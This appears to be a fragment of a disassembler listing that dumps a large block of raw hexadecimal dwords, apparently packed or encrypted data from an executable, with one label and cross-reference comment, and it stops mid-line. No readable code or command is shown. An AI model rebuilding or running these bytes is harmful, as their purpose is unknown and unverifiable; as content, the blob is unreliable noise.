0D800E0C3h, 7E85109h dd 7C5BA2Fh, 6962279Ah, 763AC05Fh, 6D01EE74h, 8BDE9C53h dd 0D9C187EFh, 3D8E230h, 82DF0D75h, 0A0A4E84Ch, 3203E259h dd 0A4133D59h, 305A875h, 210801FBh, 0A31D319h, 0F7D5C048h dd 22135500h, 4271109Dh, 949600B4h, 93CBE658h, 0E77BC295h dd 2F9B3000h, 0BF4B2D87h, 5EC00034h, 0D383D4CCh, 2177F869h dd 0A3110A00h, 63579D5Ch, 0B9510079h, 914C4DB0h, 0F600D6CEh dd 6A65AF5Bh, 1E46728Ch, 43B99944h, 0A58B7D89h, 0EF9C13C0h dd 0EC830600h, 0FB8D810h, 78207B96h, 90100B9h, 6531F3E8h dd 2B0F27B6h, 6FAA56B0h, 2499E0C4h, 595350h, 448CDD58h dd 70FF1B1Ah, 0C4060C00h, 33B8040Dh, 891200D9h, 5B3936E2h dd 551F2CA2h, 807AE011h, 0AD05D354h, 91F849h, 6CC88925h dd 0A34A2471h, 0A540400h, 3870B506h, 47640027h, 3B74A607h dd 8D000583h, 85E1D11Bh, 188A910h, 6AE48661h, 0C0953F1Ch dd 0C8002C97h, 6B7C818Fh, 0A5FA10h, 0E8067525h, 6602EBEDh dd 1C453303h, 0F115FC51h, 0CDF86010h, 77190074h, 7204583Bh dd 8010A67h, 0C0705A4h, 0F5E0C975h, 0B0360084h, 0EEE7F432h dd 0F0095EBh, 8A129166h, 19A810h, 0EF755CC2h, 6FB8F844h dd 64B05B00h, 0C94BC4B3h, 0A3300034h, 9D747A68h, 130F6A82h dd 871B7501h, 84D0C3EFh, 7A88214Ch, 53CF022h, 9D7D83F4h dd 5598C0C2h, 85001018h, 5077CDB1h, 0F6B9D36Dh, 0A43400F4h dd 8C12A515h, 450043E8h, 356536E9h, 371C8Dh, 3ADC3880h dd 1780F08h, 0E0EEEDFDh, 700015D5h, 0E814025Bh, 6633D7h dd 823B8013h, 8D26EA0Fh, 0A76A3Dh, 0B747C53Dh, 565DD6h dd 0F96C34Ch, 2752BF3h, 1468D0Fh, 6268C0AAh, 844BE8h, 39554C64h dd 0C749F8CEh, 936F400h, 1F8203D0h, 90FA0081h, 618F0FA4h dd 40488B92h, 3348002Eh, 35C65203h, 0B61C0765h, 0C75CC3E1h dd 744450E3h, 0C274DEC7h, 0E9856703h, 0A88921DBh, 72047E2h dd 3A2CD4CFh, 0C203E056h, 4EE03D40h, 0C6487F00h, 33A13584h dd 43A9035Ch, 40AC4C41h, 37A7F090h, 3030976h, 20DF7285h dd 0FF5FA8C7h, 2A0200D2h, 590B5D1Ah, 6B0EC1CCh, 0C06E7265h dd 321D336Ch, 7B643C2Eh, 920FF594h, 6F673C70h, 61500073h dd 4E7468EEh, 51006D7Dh, 0A8231441h, 0FFEE010h, 71A75292h dd 40FFE3CEh, 0C68F60ABh, 0E100EE45h, 68D9467Bh, 24BDE03Fh dd 87DC91h, 10F801C5h, 1E3974B1h, 7023004Eh, 0C47275E2h dd 64210052h, 71014B46h, 361D0EE8h, 6000C7B1h, 92B2A5C3h dd 6F903FD4h, 6400EB3Bh, 967AC5ABh, 58007352h, 784B1A37h dd 906850h, 0FC3DB3DAh, 466BF053h, 0BF16A60Fh, 0C793001Eh dd 0E892AB34h, 6A230B43h, 0EC803305h, 2BEB038Ch, 261B6F0Ch dd 0F61811h, 2113BD80h, 0BEAF0A48h, 0F37D9307h, 678EF90Ch dd 9FE0CEEEh, 22D12h, 0BD486D23h, 3250E52h, 26783Ch, 2E2C754Bh dd 0E8102904h, 0F09500C9h, 6D74820Ah, 3D008E43h, 0AF5115F6h dd 755329h, 47AB021Ch, 0D6B63392h, 4613147Ah, 0C9004C69h dd 89265B8Fh, 73041E20h, 0A92443F5h, 0E0DBC6C9h, 666F5380h dd 61777400h, 0CA655F72h, 0DE48001Ch, 0FEF9633Fh, 0D83D9173h dd 0FBEB802Bh, 6E232938h, 10BC1F13h, 0A1FA80A4h, 0F8357F14h dd 38858700h, 0B5213912h, 0A4707CFh, 0E0242758h, 1322A654h dd 0B1E2040Fh, 9BC2A088h, 6F6621h, 753958E7h, 0E5B6C74Eh dd 0A6385C00h, 0BFA37756h, 3490009Bh, 0FDCF51D9h, 64031019h dd 0B5ADA648h, 8FE8C0E0h, 0D3371F49h, 0FC863FA2h, 5205503Bh dd 230C5100h, 0EB45A1C2h, 0E73E81Fh, 0BC34E8Bh, 553BC880h dd 0E413B4FCh, 2E030A37h, 0E0068E4Fh, 48EAFA2Dh, 0C20FAD6Eh dd 9A2C0A6h, 0CB41FCEEh, 0F13DCCE3h, 80047B38h, 2A7D3E81h dd 0AB15A68h, 998438Bh, 0B3E803EAh, 50727B99h, 6F0CBC00h dd 0F3F4120Ah, 0E87F47Ch, 0CDE31328h, 0C0A7C845h, 89582A2h dd 3C00F178h, 0AC042512h, 48E09378h, 1000B62Ah, 8D520C06h dd 4A000EBAh, 214BC22h, 2993E8h, 0E6A2D272h, 11C98E7Dh dd 6DF81F00h, 1DF1F35Eh, 0B18B0051h, 1A7EA256h, 3C00C9EDh dd 0AEB77DF2h, 52AAE9h, 62BB4433h, 21590504h, 0F7EB3400h dd 9612CADh, 76747FB0h, 745B48E8h, 49017500h, 0DC76DA19h dd 894C3001h, 6CB0C46h, 17FF20h, 45C3B12Dh, 9B480B74h dd 2EFC207Dh, 3AC0E900h, 4BB8621Ah, 0F2BA0380h, 40B95F31h dd 1C46C7D0h, 65D6E800h, 827A079h, 50C4FA18h, 0B80FE502h dd 29C00313h, 62491778h, 4424A0F7h, 14002018h, 597E8088h dd 222648h, 0FB96B2AEh, 10510F99h, 7060520Ch, 852046h dd 0FF32DA53h, 8920EB3Ch, 7E810600h, 8BB3042Ah, 63A600B8h dd 4EFF1FA3h, 0EA0050EEh, 7BE82836h, 44C874h, 812D8CC9h dd 6A96730Bh, 46E12C07h, 0AB303950h, 5CAD2Ah, 0B1D58990h dd 968D1361h, 7C2EB900h, 4736FF24h, 0A85A0165h, 0D68B2280h dd 5CFD86Eh, 0BC074C79h, 1A1D0906h, 85405B80h, 2A8801F9h dd 4AC2572Bh, 15472019h, 8023A33Dh, 22EB5D0Ah, 1491C6h dd 8AB29554h, 0F66A5840h, 5E0F617Eh, 2083E8F5h, 3B5374B4h dd 0B1223FB0h, 6FC91781h, 607E316Bh, 20736C0h, 0FA480775h dd 5EE4B1E0h, 0A47CC3h, 23246D7Ch, 69B81188h, 0E9EB0402h dd 809881A2h, 0DBF08BB3h, 0A488008Dh, 49CF9092h, 2403D414h dd 0EEDB108h, 4BCAE0EAh, 143148E4h, 5C181A00h, 1C149FB3h dd 4CE41190h, 7A3E2400h, 1B13549Ah, 0B08200B5h, 87D882Ah dd 0F80E1C90h, 200AAE11h, 75CDFE07h, 0C30B02A4h, 8A94DE28h dd 4FBABFC0h, 0E6F34Ch, 0EF461CD3h, 20C30Eh, 0F718AFA6h dd 0E9B767B8h, 0A97231Dh, 0E479254Fh, 7580961Ah, 3C2AA1D8h dd 0E8950EAh, 0B400FA83h, 85541977h, 6032198h, 132453E1h dd 41C5E94Eh, 98042CD4h, 0FC480E0Fh, 0F0C015EFh, 5CC04B3Fh dd 784A81E4h, 1A750A00h, 73BB9A4h, 0A573E3C3h, 8A3D50F8h dd 80011109h, 48302F9h, 0E1F46B42h, 1D70FFC1h, 0B822000Dh dd 0B046A868h, 9C0FC41Ah, 600A3D32h, 81412919h, 0EBBF0074h dd 764850DEh, 58005216h, 0B472114Ch, 0EC04C601h, 40FF001Ah dd 816656F3h, 13005830h, 0F8425290h, 263C494Eh, 0ED51FFAh dd 6F60D23Dh, 0DBF2724Ch, 62B45E00h, 0B0FAE8F1h, 95AC00DDh dd 3AC2484Fh, 6500F426h, 104B8339h, 203CA2Bh, 7CF080C4h dd 0A1808A1Fh, 3A9B3C42h, 0D701172h, 60AA062Eh, 1EBEE00h dd 122B4A33h, 3B8930h, 64CEA7D2h, 5B1EDBB6h, 0AC0BAD4h dd 0CDEB5837h, 43C30EACh, 0CFE0850Ch, 6930C235h, 8797743Fh dd 0FC5AE45Bh, 0E13D9B12h, 0E5701877h, 120F1DF1h, 27B9C00Ah dd 4B35FF05h, 0BCC60C00h, 58F08904h, 24ED0198h, 4084B073h dd 0E2E8700Ah, 76805A00h, 45E89C6h, 56FF1D17h, 4587C718h dd 0B8942069h, 76007166h, 6F47BAF1h, 75BE77h, 0B7070FB2h dd 0B045B3C8h, 21C5F507h, 1E903347h, 90FC2E75h, 2803007Eh dd 4987B8BBh, 600452Bh, 1167FD1h, 7DC5A30Eh, 421900F4h dd 5F4CA4F3h, 59503302h, 100DA85h, 915D7A62h, 0B6E3D06h dd 0AB75A04Eh, 39F6C780h, 5800D050h, 49A6595Ah, 3B77426h dd 95772BCDh, 0B87807D6h, 0BA258E0Eh, 83750060h, 0EA7E40F9h dd 0E9071F21h, 0B951C004h, 4A27269Ah, 1E773F00h, 0D7532C7h dd 7ED5015Bh, 608F0464h, 1AC3E4FFh, 3FDC7100h, 2812F825h dd 0EC0E3DA1h, 0CB802BBBh, 2F820B7Eh, 44E874D1h, 0F1875A0Bh dd 1D2D00F5h, 0AEA0BAh, 542B7EBDh, 3B90E91Fh, 89DB520Fh dd 3FDD201Eh, 580809F3h, 8213B67Dh, 63490017h, 56C3EB15h dd 10D38400h, 0E22B5A27h, 121403CBh, 0C928B5CAh, 0E9428688h dd 69C75300h, 8D368158h, 55FF0E51h, 0B967C17Ah, 5A6CC001h dd 0E202A4AAh, 0F04C49A9h, 7B0DE020h, 40950483h, 0C1AEF2F4h dd 0D349D125h, 21ED6C00h, 2C663B97h, 0D7F60012h, 0ABA63790h dd 0E000209Fh, 4574487Ch, 71416CBh, 7F8DD5A2h, 0F29C02Bh dd 5F001FE2h, 2CDB92C0h, 4F6855h, 0DE011990h, 0ECE8C1C9h dd 4224B201h, 3D620F16h, 9E18FCh, 3318C50h, 800422B3h dd 340045E0h, 0C3158451h, 0EA48D8F7h, 4442007Dh, 3001F9E2h dd 0B0EE0B3h, 0CB473198h, 0C7670752h, 2DA3C3E0h, 6577005Eh dd 70EED93Dh, 150001A4h, 0A7FFF80h, 0EE13FC8h, 1C4002A0h dd 840542E0h, 770008FAh, 380C9C72h, 7A47C350h, 0F424000Fh dd 9680C012h, 8C7A1698h, 0BEBC200Fh, 6B286119h, 16A61CEEh dd 80951F7Ah, 43B7E16Fh, 0C0023BAh, 0D4A50410h, 0FE800DE8h dd 84E7002Ah, 14A39174h, 0E6F4F4F0h, 2DB52800h, 31A0020Ah dd 0E35F18A9h, 8BF3C30h, 8E1BC900h, 2EC54034h, 7CA258BCh dd 76FA3700h, 0B6B3A0Eh, 3E91DE38h, 234400E8h, 883E8AC7h dd 4AC0162h, 0AD78EBC5h, 7A80C041h, 26B71701h, 44D8D710h dd 1AC90C0h, 8678326Eh, 30484087h, 0A0357B5h, 0A968163Fh dd 0EDA1804Bh, 0CE0703CCh, 4ED3C21Bh, 1484A0C8h, 5161F800h dd 527A5976h, 0A5C80407h, 0C0B99019h, 0A0556724h, 200F3A0Fh dd 8F27E0F4h, 0C358CECBh, 0F894093Eh, 3F3978D8h, 875C813Dh dd 36B90BE5h, 8FD1D7B7h, 0DFEC5FA1h, 467004Eh, 0F2C9CD1Ch dd 8300629Eh, 45812296h, 1C6F7CF8h, 3F657AFCh, 2B70B500h dd 9DC5ADA8h, 1697F00h, 0FFCFA6D5h, 781F0E49h, 0C314B6BDh dd 16C59B03h, 0EF80B3ABh, 0E001413Dh, 0A48E98Ch, 93E4BAE4h dd 24AAE0A8h, 0E78E617h, 0B60516A1h, 55718012h, 8D093927h dd 70F70Fh, 0C9304093h, 0FFE33D3Ch, 8A529681h, 838E49E7h dd 0EBFB9D9Ch, 5152007Eh, 6A2F8C43h, 0F00195Ch, 0BBD226FCh dd 1EE37640h, 8029F2CCh, 7D817C84h, 0A141C44h, 0A4DB90h dd 406F9FA4h, 1F8AA17h, 0E30F10AEh, 0ECFAC4C5h, 0B01C9C59h dd 0DD002AE9h, 4564F28Ah, 0F7F300D4h, 4AE1EB03h, 0CF0F957Ah dd 0A7A262D1h, 0D800DC07h, 39B83Eh, 0E91C746h, 0A0AEA603h dd 0A3E31900h, 750C17D0h, 86812C39h, 48C9002Ah, 93A7E44Dh dd 353BF0E1h, 0EDB2B800h, 5D1CE553h, 0FDC5003Dh, 929E8B80h dd 0F000A65Ah, 0C02001A1h, 0F8CA554h, 0E5FB6137h, 5D259D01h dd 0DBF9C089h, 0F3F86700h, 7BA2BF27h, 80CAC0C8h, 20979B6Eh dd 28A38h, 25C46052h, 59F075h, 562FCD5h, 0CAAE3511h, 3F857B00h dd 0F7144EFAh, 0B33B007Dh, 0CB0413C8h, 0C1FE964h, 7F80BC03h dd 59D109A8h, 70C207E2h, 7023A508h, 5E8C2855h, 5C00B07Fh dd 4C914197h, 0B18D0h, 875C91Dh, 0DE74D20Fh, 58F8DBF0h dd 0A791001h, 0EEDAF726h, 73883ECh, 1CF3673h, 0D97E8334h dd 20E9DB91h, 8B75C16Fh, 3582CE00h, 0E75B906h, 0E0D100F6h dd 0D68ED24Eh, 3B0ED7C0h, 870B72FDh, 0F3700477h, 382B051Dh dd 40001B1Fh, 0F75BE7E2h, 0B301B1C3h, 4607740Ah, 0F7205669h dd 0F3E003E5h, 0E8EBD233h, 0F08B5BD0h, 0C023980Eh, 0FE832008h dd 5875FFh, 0B0FCA11h, 5B3981F2h, 5F18000h, 481C2478h dd 0FFDA00C3h, 0E8048237h, 0ED30F8D9h, 0ABAA462Bh, 2FE42EA8h dd 0F882681h, 8B40835Ah, 0A77B9EDAh, 5D64F300h, 47565948h dd 0C8EE07h, 0F07E25BEh, 0F495725Ch, 0CA92AC07h, 7520F2F5h dd 42CC88h, 2F3344DCh, 85844F80h, 251520Fh, 40400FABh dd 9C7C20F9h, 302C00F1h, 0D81C051Ah, 0AB07B8C3h, 0FE2D331h dd 2A60A510h, 5CFB0EE0h, 0C121061Ch, 708B1FFAh, 9900E6FCh dd 38F8D333h, 3B487FADh, 303F5EF9h, 0E8000EBEh, 395364DAh dd 2500AFEAh, 7E75F448h, 9D5442h, 5E24054Bh, 0C93793C1h dd 2C383500h, 535CAC92h, 317F000Ah, 0C1F096Fh, 0F9031474h dd 0FC2B7A81h, 0EC10F873h, 50F230A5h, 0D81754DCh, 57F81A00h dd 703C685Dh, 83FA42h, 0F01212Dh, 0CC2ABCE1h, 8A309201h dd 2299B355h, 3D3CF0h, 0DE605C6h, 43460E02h, 1F0044F8h dd 0E8C76603h, 0AF9D6Ch, 287F34A7h, 92A40901h, 897058h dd 4991410h, 0ECA78056h, 98EB00E8h, 2940693Fh, 541F4BFAh dd 2A050A90h dd 5D80877Eh, 1A5A6Bh, 697947F3h, 5F76139Bh, 22302D00h dd 9DAB7CBAh, 3AE500F9h, 0F4AF25Dh, 0D07B25Ah, 472CA31Bh dd 9001BBE0h, 84280015h, 204838DBh, 0C201F229h, 94345577h dd 0D660CBF3h, 0B8090092h, 0FC114710h, 0F8008891h, 0F072F4E4h dd 90CEC39h, 8B82F53h, 8343CC00h, 0CC033D2Ah, 197DE0D7h dd 25E2F00Ah, 0D22E00E8h, 1C8368A8h, 0E175406Ah, 987B4503h dd 0D8A50C02h, 0AEB1Fh, 2D31A153h, 3D0D8B43h, 0E01D8900h dd 78156B19h, 83784Fh, 2F2893E8h, 1CD422A3h, 56E75403h dd 0E0A531B3h, 5771E14h, 32157CC5h, 0D04CC74Eh, 8B730A3Bh dd 282B2903h, 0A8CD191Fh, 581246h, 548E0B2Dh, 318A4C9Bh dd 1DC80D00h, 1442058Bh, 0FF600084h, 15F66428h, 6D182C6Bh dd 0AD04C382h, 4F34176Eh, 80B71E5Bh, 7A17E022h, 0D903E612h dd 0E3535A88h, 0AEE2A0B6h, 0D4A100C5h, 8A7B3448h, 0CD00C48Bh dd 0D88E6927h, 0B4E641h, 8900460h, 0CAA8A10Ah, 0EA31300h dd 0BA4B80Ch, 0EB2503E8h, 8466937h, 94047BC8h, 4B13BA00h dd 75F998B1h, 25EE6Eh, 9E9D5014h, 764D8BC9h, 5328A200h dd 20D53AEDh, 0C10CE627h, 0EC908458h, 0C55B204Fh, 0D835FF00h dd 0BCB93D14h, 331C014Eh, 54CC2524h, 790BCC99h, 3401577Bh dd 932DC45h, 69E480C4h, 0EB601EA6h, 0A49ECF10h, 722413C0h dd 99282004h, 2309EE08h, 149118h, 7C0CE47Ah, 478E1EA8h dd 40A05EA4h, 3998729Ch, 90691C94h, 0F07FFE1Ah, 6C009170h dd 64E468C8h, 98396072h, 22586132h, 60502354h, 4800C819h dd 407244E4h, 601C3C39h, 23342238h, 2C009130h, 0B4E4B8C8h dd 3BB072h, 0FC319382h, 0A6F8104Ch, 0F4470800h, 0EC91F023h dd 9FE800CFh, 10E494A1h, 802E0CAh, 0D872DC64h, 0D0464139h dd 23CC5E80h, 0DEC491C8h, 0F8CE100h, 3D207B7h, 10E200C1h dd 0B0C3C20Bh, 4F98A1E8h, 0B62F9300h, 90AE01CCh, 7FE10181h dd 187BD521h, 4914DC05h, 57780800h, 64487710h, 5387000Ch dd 517F90FDh, 1AB80F8Fh, 697C9717h, 4C459501h, 4770F909h dd 0B1465080h, 0A2423A3Ch, 0E7641A83h, 898F06Ah, 0C83EF111h dd 72F300F2h, 1CF539F4h, 0F7C8C0F6h, 0F991F823h, 0E4FAC800h dd 39FC72FBh, 0FE1C0EFDh, 0E08CFF8Eh, 2303E12Ah, 0C8E391E2h dd 72E588E4h, 0E73900E6h, 0CF21E81Ch, 0E901884Bh, 32EAC5D7h dd 0E20EB18h, 0ED1C30ECh, 0EF23EE42h, 0C8D09100h, 72D2E4D1h dd 0E83B75D3h, 0D6390CD5h, 0D82AD71Ch, 91D92301h, 0E4DBC8DAh dd 39DDC040h, 0DF1C20DEh, 0C123C000h, 0C3C8C291h, 72C401E4h dd 1CC639C5h, 722BEC7h, 0CA91C923h, 0CCE4CB50h, 39CD0472h dd 0CF1CCEh, 91B123B0h, 0B3C824B2h, 39B58111h, 80B71CB6h dd 0B923B822h, 0C8BA91h, 72BCE4BBh, 1CBE39BDh, 12A0BF40h dd 9BA122h, 705CC165h, 431E23E8h, 1EBC848Fh, 425E082Ah dd 65209F03h, 0E75BD8FEh, 0AC901DCFh, 0C29C032h, 4B103CBAh dd 0AA1FFC7Fh, 51400E2Ah, 0F62F0501h, 2AB0FEh, 65637845h dd 0A6D13A70h, 805D883Ah, 8B530A7h, 1C8A1020h, 0C0685CD4h dd 817E2423h, 651F4845h, 5B037061h, 0ABE45790h, 95809CB2h dd 0C015E2h, 754F450Ch, 66017473h, 6D654D00h, 3A79726Fh dd 9520001Ch, 0A9E95C5Eh, 91EAB840h, 450BD4F5h, 0DD6E4909h dd 3FEE0EBDh, 588E989Dh, 48EF8390h, 2F0C9066h, 28400F74h dd 0D8A06C61h, 0B258F057h, 4C6030B0h, 2D12C484h, 846C0523h dd 817E5F50h, 0F0756020h, 10165209h, 35010E65h, 47F658A8h dd 79043CD0h, 0F01F642h, 76694445h, 415A7900h, 90016FBBh dd 585E60C1h, 0EED4109Ch, 2C00048h, 676E6152h, 9DFD1965h dd 7700C820h, 8210C92h, 4076014Fh, 6F6C66AFh, 2B74F44Dh dd 0D95CB41Ch, 64221DC0h, 0FC0C20E9h, 1E0A7EBFh, 0B9063B3h dd 0F38F7AD5h, 688461A0h, 940B2E60h, 7626B4h, 4F64691Eh dd 0D2902A70h, 0BE07F193h, 5B92B740h, 0C237B4C0h, 0E74F1FBCh dd 61F16C4Ch, 14D4C1A4h, 9A1F0062h, 0D0084740h, 520A6E55h dd 0EE3A5964h, 6C76AB28h, 0D188E500h, 8760220Fh, 4F6F0450h dd 81854A36h, 0D044F649h, 301DB90Ch, 97D567Eh, 8C433Ah dd 63E98D01h, 7542F4AFh, 0C01D0024h, 6F43450Dh, 0B002BAD4h dd 80A2D858h, 0A00543BDh, 0EACC4Ch, 41451005h, 7388C363h dd 0E0568A00h, 0B9616C89h, 0BC2A1E8Eh, 40F64047h, 26F42CB1h dd 325048h, 1656C8Bh, 503890E4h, 0C084CA64h, 0E803B0Ah dd 74005345h, 6B632661h, 67905081h, 4064A294h, 1109C93Bh dd 20747003h, 0A7EF6C6Bh, 58AFEC30h, 52E864h, 5684C83Bh dd 390D8761h, 8A04512h, 0D4FC8D00h, 58EA5C40h, 0C51E2449h dd 0BD59C02Dh, 23614609h, 8D646F0Eh, 0B260C057h, 7FE41DA8h dd 8462030Eh, 738572D9h, 490BDE8h, 839C6655h, 41491F0Ah dd 4365D2ACh, 8F60E074h, 0B289E7E4h, 890C8112h, 0C4002A1Eh dd 8D70E3DCh, 6903FFh, 59242552h, 0FDAA7ECh, 0C1C20100h dd 0F76610EAh, 5DF407F3h, 0D0F9ED08h, 0B0130693h, 0BD04D809h dd 0B2768010h, 4CEDA1FEh, 37003E74h, 525A6CCFh, 5C00212Bh dd 6A69B3A9h, 29EA84h, 10236DAFh, 2CA66706h, 1B409D00h dd 44B7C38Bh, 4DEE00EDh, 0B3E58F5h, 5B016D47h, 0D70D3D28h dd 4BF8FC67h, 3AEB00E1h, 0B04A2ADAh, 0C91690A5h, 0B1005388h dd 0EBA80996h, 0D2D900DDh, 89DC520Fh, 390716C1h, 47AC76D1h dd 0F3C9003Eh, 12A74A6h, 95FF5E8Ah, 70627852h, 770F7A94h dd 0C07D4855h, 0A120DC7Fh dword_4E414C dd 0A0C2703Bh, 0FB38F5h, 300FD874h, 0D706C3B6h, 69D02900h ; DATA XREF: seg002:off_43CE20o dd 31DFAE5Bh, 2EEA003Ch, 64EFADD4h, 2A00ED58h, 43A0E66Eh dd 7CF33Bh, 6807307h, 7620FF1Fh, 0A16F40Eh, 0C58B407Dh dd 0EB6192h, 2A914E17h, 6CF83037h, 0CB2BCE00h, 0D3674175h dd 99330073h, 575AD0DEh, 6A002187h, 51A65F09h, 0E44E08C6h dd 0C16F03B8h, 67E4BAC2h, 604FEBE0h, 1AFB0501h, 6844BDD8h dd 2502C8h, 54F7644Ah, 1E036669h, 0E7890800h, 0F90FC685h dd 4D4F0010h, 6818BAE2h, 0F8FE31B2h, 0AD0049E2h, 0F062B034h dd 0F829016Ah, 0B2640054h, 10240CDBh, 860067E8h, 557550BAh dd 12F3B91h, 3822F5D5h, 402E1004h, 0C4F278E2h, 3A3F9400h dd 0F4DAE445h, 0EE6A2E96h, 0A9F0001Bh, 795990AAh, 19E5F100h dd 0ED4B405Eh, 0F4263868h, 0DFEA503h, 51F01F8Ch, 0D90197F0h dd 89153D65h, 0BCC8F5Ch, 842401D4h, 0EB66ECA1h, 0AFE8D490h dd 43CC5600h, 9F0C62C6h, 5FFE4Ch, 0D4D68251h, 993537AAh dd 5A880207h, 32079D6Eh, 31566910h, 3EF83F84h, 40E7C39Dh dd 747F588Ah, 5C7C1228h, 9AEFF00h, 6B291B50h, 3F840002h dd 4461765Bh, 884CEE0Eh, 75400E9Fh, 3802403Ch, 8C4F06h dd 7C7FFF85h, 0CCD99DC7h, 0FAACCF00h, 0B815D39Fh, 697970h dd 2658E711h, 560580F0h, 4DB90102h, 0E1BA7FCDh, 0C73F692Fh dd 0B38069D4h, 0E4CCE884h, 0AA0014E8h, 9213D353h, 0A32CFACh dd 24F40852h, 70FC00E5h, 0A40F45E3h, 12FB307h, 33D06DF7h dd 3D3A20D2h, 0AFAE19E8h, 0B6F400AEh, 0FA0E3816h, 1ADD3E00h dd 0A0E7DC0Dh, 0CE00130h, 729F2DB0h, 0A639600Eh, 58441A00h dd 104686C2h, 5BC30012h, 0BDE6127h, 29005E90h, 9697C714h dd 7BC2516h, 0FEB818E8h, 98C8D013h, 0EC0099E3h, 34D6373Bh dd 16AFCAA4h, 11B080h, 0E9C13A95h, 0A6004D9Fh, 38BED1D2h dd 0F08BFFAEh, 0FD6E0021h, 0DEEECE22h, 7600EF5Eh, 36404A3Ch dd 73FC5FCh, 27895657h, 7FF7405Ch, 9D06E7D1h, 0F899CA9Bh dd 2447FAB8h, 0D6B5Eh, 0CBA3501Bh, 0B0004C4Eh, 54C105F6h dd 78410175h, 2DAA0029h, 5AD91996h, 783D1785h, 0DFB0067h dd 0D83B622Eh, 9FDA00C0h, 50127DC5h, 0D000A928h, 597A8E90h dd 15A5F25h, 802AF4D3h, 0D0C6AACAh, 67003164h, 21D20BFFh dd 8A249Eh, 13F80246h, 99E823ACh, 0B057E53Ch, 0EA2112FAh dd 94613920h, 985D9E03h, 0CA9883A8h, 10EE097Ch, 95543200h dd 6444A7D9h, 573A0E47h, 506012ACh, 86405C3Dh, 0D0885F03h dd 98E16392h, 67503h, 4648F82Eh, 766CCCA2h, 97299800h dd 0BCBAB662h, 55DC00EAh, 0ABD447CBh, 1872F88Ch, 6BF9C000h dd 0F20ACC88h, 951200E8h, 0C41A10E6h, 78F8779Fh, 0D90070FCh dd 0FBF2F87Dh, 761F0Eh, 0AB9BBB05h, 944A8C26h, 8E7B9000h dd 4B9FBC01h, 9DC400DFh, 0E8D602CBh, 0A6F259FBh, 3C1C1900h dd 20A864FFh, 6AA028Bh, 0F0CF22CBh, 61F056C3h, 6C0524B1h dd 8F9A289Ch, 62B01E87h, 0F732E76Fh, 0A8DAADCh, 60537BE2h dd 558C0094h, 5D892082h, 16297F00h, 3CE1FA2h, 7D510068h dd 0B22890FCh, 612C8C5h, 0CC0012F4h, 0CE390E16h, 0ACB01CA1h dd 0CB254920h, 4476C100h, 4C3FEB28h, 0E90D002Bh, 0BF845FF7h dd 6430031h, 0FEBAEAE8h, 0EC730C88h, 1CEB4500h, 575302Dh dd 0ACDA1E31h, 5CF100E8h, 3A7FD25Ah, 340A6E03h, 0F8C825D8h dd 1DFEB31h, 22BBE414h, 0C42E6440h, 0B40F2919h, 9C2649h dd 0DC75C3E0h, 0A6525851h, 5AFBCD04h, 0A08D80EEh, 6000273h dd 7D80DB31h, 727C9AEBh, 12CA000Ah, 42D10104h, 8758A4ACh dd 570C1FFDh, 0E948F7Ah, 0E99D009Ah, 3C610ABAh, 0C6004454h dd 5A18A104h, 9E7F8B59h, 15D8331Dh, 302AF880h, 0E80A2274h dd 803C0072h, 37097739h, 0C0F7DB6Bh, 6C003BE4h, 12AC0B6h dd 3E5080C3h, 1A0B9403h, 0D68AE958h, 46178Dh, 1277A7DEh dd 1077D4FFh, 390C093Dh, 26B3807Ch, 0AB74EA1Ch, 4F1F0086h dd 24C2ACDCh, 0C12488DFh, 6E029DFFh, 0E070523Ch, 75015Ah dd 0DE348D0Ch, 4A0F06D8h, 43F0B60Fh, 669D8024h, 0F4406Dh dd 0AA08CC6Eh, 7F88C111h, 0F1816F00h, 41276112h, 4A1800CAh dd 2102C604h, 93C2564h, 34D08E7Bh, 6919C066h, 2C0111BEh dd 3FE87Dh, 0B955D39Dh, 0DC074D87h, 97D5D129h, 5D8DA330h dd 20120061h, 0F29D1399h, 53007368h, 44F9800Bh, 0B0C8D074h dd 2A600EB4h, 40DE580Ah, 826FB4B9h, 0F70023EBh, 1E575243h dd 157480h, 48831B4Dh, 0F95BFBC3h, 24FAE800h, 2D02B04Fh dd 884E1F41h, 90F7C006h, 4B758DDBh, 0F1AF3Fh, 9D038BCCh dd 785848h, 92598043h, 60EAE2BDh, 723AE900h, 2907C383h dd 1E161E4Eh, 27033942h, 9DDBC89h, 0CA75D080h, 0AF4D8D00h dd 91A1F129h, 0E3B72E0h, 39907654h, 0AEA7842h, 0D330F660h dd 0F17B100h, 8F4257B5h, 22111E15h, 3D854010h, 93ACE092h dd 90017E0h, 0F70E79C0h, 29E8D8h, 51875E81h, 65997E9Fh dd 637B4B14h, 23EA0F90h, 53D180CEh, 3E0BA88h, 520191FEh dd 0D1DF220Fh, 0F055A9C2h, 0F8ED89B0h, 0EF0008FDh, 3C96245Bh dd 42EB05h, 2122C931h, 0F9042BB0h, 0A280AC0Fh, 1235C0C8h dd 38BCBEh, 5DD5D1Dh, 0E391CCDh, 93005279h, 0F0713B13h dd 6AD6B7h, 0EBCA5D5Fh, 7C95170Bh, 9053400h, 0EABA74F6h dd 3B710001h, 6F77E04Dh, 0C01901Ah, 0D605091h, 2FC2A65h dd 0E3291C97h, 0F24F8033h, 5FB686F9h, 5040411Ch, 45C78880h dd 1C52E04Bh, 0DF0431E9h, 0B7FC4086h, 274EB01h, 6E98E103h dd 0C047EFB3h, 1FF3F77h, 0DF450E9Dh, 0E5029038h, 4440EE46h dd 4E047E03h, 114DF5C8h, 4B31AC0h, 7773FCB8h, 139EC92h dd 0BA2576C2h, 0E08A4BB5h, 0C3001B75h, 0F5F41509h, 8B0291h dd 3BABE8Ch, 0F87B832Dh, 2229B81Ch, 53260FC0h, 0B886FA50h dd 46F201E3h, 0A9E8CF0Bh, 0C155207Dh, 462873Eh, 0D9AB50C3h dd 736FF680h, 0FD4F035h, 2024B211h, 34E6BF40h, 9600F1FAh dd 63824BD5h, 7B7D59E3h, 900C0111h, 0CE2E0809h, 0E8D7F830h dd 0E45C0F00h, 0F6034167h, 0CC7C00FEh, 1BD5169h, 87009124h dd 96CF38D1h, 52B785h, 0C564FA48h, 0A4A7C4E1h, 391F5E00h dd 0F09401DAh, 100200BBh, 0E3D44513h, 0D300277Dh, 0E05AB67Ch dd 3ACA2BC1h, 0D6603B78h, 0F8E3321Ch, 4D759100h, 3EE6EAEh dd 0F685008Dh, 7B9854EFh, 0C0F57EBh, 0C05C40h, 2C23B38h dd 437D7Ch, 0DDDB0330h, 645157B2h, 62722F00h, 0A6B4BA7h dd 0AA470095h, 0EC7D4F39h, 923E2A34h, 0EEB0F2Dh, 2563E08Dh dd 0E419F6h, 4118C5Eh, 3490DCA4h, 7ADD6105h, 61870DD8h dd 